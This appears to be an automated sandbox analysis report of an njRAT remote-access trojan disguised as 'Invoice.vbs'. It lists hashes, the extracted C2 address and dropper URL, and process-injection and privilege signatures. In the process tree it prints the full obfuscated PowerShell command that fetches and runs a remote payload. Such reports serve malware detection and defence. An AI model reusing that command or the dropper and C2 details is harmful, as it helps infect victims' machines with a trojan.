njrat | dcd4d3f6173c2283b4ed18fcf810870db068d967b7deb0cc2bcf95db1d3fce11

General

Target

Invoice.vbs
Size

2KB
MD5

157bd8f697377d2442ac93eda10dec94
SHA1

9e5b8e8d2349aaedcc7b93fee831990b1f6b8ad6
SHA256

dcd4d3f6173c2283b4ed18fcf810870db068d967b7deb0cc2bcf95db1d3fce11
SHA512

d86412ba6b642759af963285815b7f9679e6cff17baa78e6e3fa6b984c80179b334ed010d587649449ee4f643d2103722fe4c4805ee7bde59ac21ab3a14ee9b7

Score

10^/10

njrat sun trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.184.87.30/sd-bypass.txt

Extracted

Family

njrat

Version

v4.0

Botnet

Sun

C2

103.153.78.241:8871

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 1540 powershell.exe
15 1540 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1540 set thread context of 1092 1540 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1540 powershell.exe
1540 powershell.exe
1540 powershell.exe

flow	pid	process
7	1540	powershell.exe
15	1540	powershell.exe

description	pid	process	target process
PID 1540 set thread context of 1092	1540	powershell.exe	aspnet_compiler.exe

pid	process
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe
Token: 33	1092	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1092	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1832 wrote to memory of 1540	1832	WScript.exe	powershell.exe
PID 1832 wrote to memory of 1540	1832	WScript.exe	powershell.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe
PID 1540 wrote to memory of 1092	1540	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://54XXX184XXX87XXX30/sd-bypassXXXtxt'.Replace('XXX','.');$Shib='2%###%2###20###3d###27###%5###5%###%8###20###%3###%f###%9###%e###7%###2e###57###5%###%6###20###%3###%f###%9###%e###6c###%9###%f###53###%e###5%###27###2e###52###65###70###6c###61###63###65###28###27###%5###5%###%8###20###%3###%f###%9###%e###27###2c###27###6e###%5###27###29###2e###52###65###70###6c###61###63###65###28###27###5%###%6###20###%3###%f###%9###%e###27###2c###27###%5###62###%3###27###29###2e###52###65###70###6c###61###63###65###28###27###%f###53###27###2c###27###65###27###29###3b###2%###%3###%3###20###3d###20###27###%%###%f###53###20###%3###%f###%9###%e###20###%c###53###%f###53###%3###%f###%9###%e###6e###%7###27###2e###52###65###70###6c###61###63###65###28###27###53###20###%3###%f###%9###%e###20###27###2c###27###57###6e###27###29###2e###52###65###70###6c###61###63###65###28###27###53###%f###27###2c###27###6f###61###%%###27###29###2e###52###65###70###6c###61###63###65###28###27###%3###%f###%9###%e###27###2c###27###5%###72###%9###27###29###3b###2%###%1###20###3d###27###%9###60###%5###6f###73###20###%3###%f###%9###%e###60###57###60###%2###5%###%3###20###%3###%f###%9###%e###6a###60###%5###5%###%8###20###%3###%f###%9###%e###20###2%###%2###29###2e###2%###%3###%3###28###2%###5%###52###55###%d###50###29###27###2e###52###65###70###6c###61###63###65###28###27###6f###73###20###%3###%f###%9###%e###27###2c###27###58###28###6e###60###65###27###29###2e###52###65###70###6c###61###63###65###28###27###%2###5%###%3###20###%3###%f###%9###%e###27###2c###27###2d###%f###62###27###29###2e###52###65###70###6c###61###63###65###28###27###5%###%8###20###%3###%f###%9###%e###27###2c###27###60###63###60###5%###27###29###3b###26###28###27###%9###27###2b###27###%5###58###27###29###28###2%###%1###20###2d###%a###6f###69###6e###20###27###27###29###7c###26###28###27###%9###27###2b###27###%5###58###27###29###3b'.Replace('%','4');Invoke-Expression (-join ($Shib -split '###' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1092-164-0x0000000005950000-0x0000000005951000-memory.dmp

Filesize
4KB

Download
memory/1092-162-0x00000000053D0000-0x00000000053D1000-memory.dmp

Filesize
4KB

Download
memory/1092-167-0x0000000005C90000-0x0000000005C91000-memory.dmp

Filesize
4KB

Download
memory/1092-166-0x0000000005A90000-0x0000000005A91000-memory.dmp

Filesize
4KB

Download
memory/1092-153-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1092-165-0x0000000005AC0000-0x0000000005AC1000-memory.dmp

Filesize
4KB

Download
memory/1092-163-0x0000000005E60000-0x0000000005E61000-memory.dmp

Filesize
4KB

Download
memory/1092-154-0x000000000040836E-mapping.dmp

Download
memory/1540-124-0x000001BE7E3F0000-0x000001BE7E3F2000-memory.dmp

Filesize
8KB

Download
memory/1540-141-0x000001BE7E3F8000-0x000001BE7E3F9000-memory.dmp

Filesize
4KB

Download
memory/1540-152-0x000001BE7EDD0000-0x000001BE7EDD4000-memory.dmp

Filesize
16KB

Download
memory/1540-120-0x000001BE7E3B0000-0x000001BE7E3B1000-memory.dmp

Filesize
4KB

Download
memory/1540-114-0x0000000000000000-mapping.dmp

Download
memory/1540-130-0x000001BE7E3F6000-0x000001BE7E3F8000-memory.dmp

Filesize
8KB

Download
memory/1540-125-0x000001BE7E3F3000-0x000001BE7E3F5000-memory.dmp

Filesize
8KB

Download
memory/1540-123-0x000001BE7EE10000-0x000001BE7EE11000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads